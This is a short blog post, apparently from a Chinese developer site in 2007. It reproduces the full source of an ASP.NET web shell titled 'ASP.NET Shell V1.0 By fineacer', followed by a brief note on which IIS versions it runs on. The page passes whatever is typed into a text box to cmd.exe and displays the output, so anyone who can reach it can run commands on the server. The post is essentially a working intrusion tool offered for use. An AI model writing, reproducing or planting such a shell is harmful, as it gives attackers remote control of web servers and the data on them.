<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="system.IO" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
 dim but as string
 dim tempfile as string=server.MapPath(".") & "\" & "test.txt"
 shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000)
 dim myread as new streamreader(tempfile,encoding.default)
 but=replace(myread.readtoend,vbcrlf,"<br>")
 but=replace(but," "," ")
 result.text=but
 myread.close
 file.exists(tempfile)
 file.delete(tempfile)
 cmd.text=""
end sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>ASP.NET Shell V1.0 By fineacer</title>
</head>
<body>
<form runat="server">
  <asp:TextBox ID="cmd" runat="server" />
  <asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" />  
  <p><asp:Label ID="result" runat="server" /></p>
</form>
</body>
</html>


ASP.NET环境下执行cmd命令的程序,相当于cmd.asp不过这个需要asp.net环境,由于IIS6的机制,本程序不能在IIS6运行,不过可以很好的支持IIS5.x + .net framework.
http://www.cnblogs.com/lordz/articles/600334.html
posted on 2007-03-27 09:41  mbskys  阅读(289)  评论(0)    收藏  举报